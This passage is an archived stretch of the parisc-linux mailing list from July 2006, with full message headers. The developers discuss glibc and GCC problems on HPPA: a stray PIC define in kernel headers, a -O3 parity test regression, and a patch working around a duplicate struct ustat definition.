PIC" then remove this line. It will cause all sorts of havoc when
building glibc. It won't be immediately visible when building, and
infact ld.so can compile quite happily and run with mixed pic non-pic
code.

However, when it comes time to doing real work with executables,
things go wrong. There are various TLS related tests which fail
immediately :)

This is corrected in parisc-linux cvs, but for example I have special
headers setup on my development box, and this bit me a while back (and
again recently when I copied the wrong and old headers).

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPPA NPTL Support committed to libc-ports, help
Date: Sat, 15 Jul 2006 18:40:01 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200607152240.k6FMe1Pr001716@hiauly1.hia.nrc.ca>
References: <119aab440607151500r52503a68g845b76a03eae0d6@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624124 20140 80.91.229.3 (22 Nov 2014 02:42:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2006 22:40:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 16 Jul 2006 00:40:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32E797D6E3;
	Sat, 15 Jul 2006 16:40:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05557-06; Sat, 15 Jul 2006 16:40:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 925E87D6E4;
	Sat, 15 Jul 2006 16:40:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D46087D6E2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:40:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05552-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:40:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B10BB7D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:40:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6FMe116001718;
	Sat, 15 Jul 2006 18:40:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6FMe1Pr001716;
	Sat, 15 Jul 2006 18:40:01 -0400 (EDT)
In-Reply-To: <119aab440607151500r52503a68g845b76a03eae0d6@mail.gmail.com> from
	"Carlos O'Donell" at Jul 15, 2006 06:00:41 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +1iKcPVhTXs9vqyRbmQ52DpKRzdyMoOX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23798

> > > FAIL: gcc.c-torture/execute/builtin-bitops-1.c execution,  -O3
> > > -fomit-frame-pointer -funroll-loops
> > > FAIL: gcc.c-torture/execute/builtin-bitops-1.c execution,  -O3
> > > -fomit-frame-pointer -funroll-all-loops -finline-functions
> >
> > This is a known regression.  See
> > <http://gcc.gnu.org/bugzilla/show_bug.cgi?id=26244>.
> 
> I don't quite understand what you are testing here?

The tests compare the results from various builtin functions
against that generated by rather simple implementations compiled
with various options.

We are failing at least two tests at -O3.  For example, we incorrectly
calculate the parity of long longs when bit 31 is 1.  The bit is
counted twice (the builtin code generates the correct result).  It's
quite hard to follow what's happening due to the loop unrolling.

I've spent some time looking at this but I haven't fully identified
where things go wrong.  It's somewhere in the rtl dumps posted with
the simplified testcase.  The problem was exposed by changes to loop.
However, the test code works correctly when compiled without inlining.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPPA NPTL Support committed to libc-ports, help
Date: Sat, 15 Jul 2006 18:59:37 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440607151559n165a68e8t782ae3357101fa0f@mail.gmail.com>
References: <119aab440607151500r52503a68g845b76a03eae0d6@mail.gmail.com>
	<200607152240.k6FMe1Pr001716@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624124 20147 80.91.229.3 (22 Nov 2014 02:42:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2006 22:59:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 16 Jul 2006 00:59:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE8BE7D6FF;
	Sat, 15 Jul 2006 16:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05977-03; Sat, 15 Jul 2006 16:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 511877D700;
	Sat, 15 Jul 2006 16:59:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B59167D6FD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:59:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05941-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:59:38 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by free.linux.hp.com (Postfix) with ESMTP id 673257D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:59:38 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1279494ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 15:59:37 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=PGweHvTWXue6OypPtiobq523VtmT/zRmmDI6LeHDGbuVomeB0xo53cpi/a8qHG6KwNSvKz05cpyJjVKnjKrpzPG4BcnXFrhqqBFEHzazhGpWSys+PvwWwQ9FDm5s4yYhiNNxgIKNd77i1Yc9laQOuZCH3LE4CeCL2lIl6mhuwiY=
Original-Received: by 10.78.179.12 with SMTP id b12mr286243huf;
	Sat, 15 Jul 2006 15:59:37 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sat, 15 Jul 2006 15:59:37 -0700 (PDT)
In-Reply-To: <200607152240.k6FMe1Pr001716@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 76078b890ee6e914
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: V0WMdTt1bUko7+nGPWgnXmhkZ2hlN4ow
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23799

On 7/15/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> The tests compare the results from various builtin functions
> against that generated by rather simple implementations compiled
> with various options.
>
> We are failing at least two tests at -O3.  For example, we incorrectly
> calculate the parity of long longs when bit 31 is 1.  The bit is
> counted twice (the builtin code generates the correct result).  It's
> quite hard to follow what's happening due to the loop unrolling.
>
> I've spent some time looking at this but I haven't fully identified
> where things go wrong.  It's somewhere in the rtl dumps posted with
> the simplified testcase.  The problem was exposed by changes to loop.
> However, the test code works correctly when compiled without inlining.

OK.

That CRC calculation failure which was in glibc is now gone after I
updated to GCC head as of a month ago. I know that's not a very
usefull problem report :)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Duplicate ustat structure
Date: Sun, 16 Jul 2006 09:03:00 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <20060716160300.GA27091@titanium.v3.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624125 20149 80.91.229.3 (22 Nov 2014 02:42:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:05 +0000 (UTC)
Cc: libc-ports@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2006 16:03:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 16 Jul 2006 18:03:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEBD07D6B7;
	Sun, 16 Jul 2006 10:03:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13907-04; Sun, 16 Jul 2006 10:03:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D5267D6BD;
	Sun, 16 Jul 2006 10:03:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DCE57D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 10:03:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13907-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 10:03:10 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id F0DA07D6B2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 10:03:09 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k6GG38Nw027783
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 16 Jul 2006 09:03:08 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k6GG30Ye027778;
	Sun, 16 Jul 2006 09:03:00 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LgfSCa1IbHIyva3NNjQ06cMqJihyalBS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23800

Carlos,

This patch is needed to work around a compilation failure with ustat.c
when using kernel headers produced from the output of "make
headers_install".

The problem is that bits/ustat.h includes the definition of struct
ustat.  However, sys/types.h eventually winds up pulling in
linux/types.h which also defines struct ustat.  Since this definition
forms part of the kernel ABI, the kernel header is the correct place to
define this.

Ubuntu and Fedora are now using these headers.  Debian will be shortly.
I beleive that Gentoo either has or is about to move to them.

tks,
Jeff Bailey

2006-07-16  Jeff Bailey  <jbailey@ubuntu.com>

	* sysdeps/unix/sysv/linux/hppa/bits/ustat.h: New file.

--- /dev/null	2006-07-13 14:56:30.000000000 -0400
+++ sysdeps/unix/sysv/linux/hppa/bits/ustat.h	2006-07-16 11:42:52.000000000 -0400
@@ -0,0 +1,34 @@
+/* Copyright (C) 1997, 2002, 2006 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef _SYS_USTAT_H
+# error "Never include <bits/ustat.h> directly; use <sys/ustat.h> instead."
+#endif
+
+#include <sys/types.h>
+
+#if 0
+/* On hppa, sys/types.h pulls in linux/types.h which defines this */
+struct ustat
+  {
+    __daddr_t f_tfree;		/* Number of free blocks.  */
+    __ino_t f_tinode;		/* Number of free inodes.  */
+    char f_fname[6];
+    char f_fpack[6];
+  };
+#endif


-- 
I do not agree with a word you say, but I will defend to the death your
right to say it. 
 - Voltaire
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Warning about bad kernel headers.
Date: Sun, 16 Jul 2006 18:52:25 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <119aab440607161552m46535c72g1d6cb0f9f35226f4@mail.gmail.com>
References: <119aab440607151526n1318ba80l2523528ac607eaae@mail.gmail.com>
	<200607161739.50494.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624125 20152 80.91.229.3 (22 Nov 2014 02:42:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mike Frysinger" <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2006 22:52:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 17 Jul 2006 00:52:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29BE07D6E3;
	Sun, 16 Jul 2006 16:52:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17529-04; Sun, 16 Jul 2006 16:52:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA90C7D6E4;
	Sun, 16 Jul 2006 16:52:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C74D7D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 16:52:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17527-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 16:52:28 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by free.linux.hp.com (Postfix) with ESMTP id CD1067D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 16:52:27 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1551489ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 15:52:25 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=nNQhX3v6YiotW40fHZ0YO4kDw3EA8fH/Ic4/MOK9eV/la19Pre2qEJOogCpeMP7CyH+HrkUMfIGwVADASmPc7cfESRW4N9YDsKzfZYRpXDpu4WLj23pXVjPc77HqBTdHYk+ItvQU0lN9dGicxSdVlpgFPu64Dex+0sfhFFbq488=
Original-Received: by 10.78.195.9 with SMTP id s9mr591379huf;
	Sun, 16 Jul 2006 15:52:25 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sun, 16 Jul 2006 15:52:25 -0700 (PDT)
In-Reply-To: <200607161739.50494.vapier@gentoo.org>
Content-Disposition: inline
X-Google-Sender-Auth: 254e477439e3d1f9
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BvSIda4BIyd18PqQe2dr51paa2FkZpVo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23801

On 7/16/06, Mike Frysinger <vapier@gentoo.org> wrote:
> On Saturday 15 July 2006 18:26, Carlos O'Donell wrote:
> > A quick warning, if your kernel headers file unistd.h contain "#define
> > PIC" then remove this line. It will cause all sorts of havoc when
> > building glibc. It won't be immediately visible when building, and
> > infact ld.so can compile quite happily and run with mixed pic non-pic
> > code.
>
> i dont use debian, but i assume your headers were trying to work with the fact
> that it does 'extern int errno' which can break in nasty ways when errno.h
> hasnt also been included ?

No, this was just dumb code I comitted years ago without understanding
what I was doing :)

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] My a500 reported a bug during gsp reset.
Date: Mon, 17 Jul 2006 17:15:49 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <119aab440607171415o723ffd5fqc4c64106394bc85b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624125 20156 80.91.229.3 (22 Nov 2014 02:42:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:05 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2006 21:16:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 17 Jul 2006 23:16:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54DD97D698;
	Mon, 17 Jul 2006 15:15:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25905-04; Mon, 17 Jul 2006 15:15:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC2CF7D699;
	Mon, 17 Jul 2006 15:15:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D83B37D697
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:15:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25905-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:15:51 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.189])
	by free.linux.hp.com (Postfix) with ESMTP id 81CE97D696
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:15:51 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id q29so13863nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 14:15:50 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
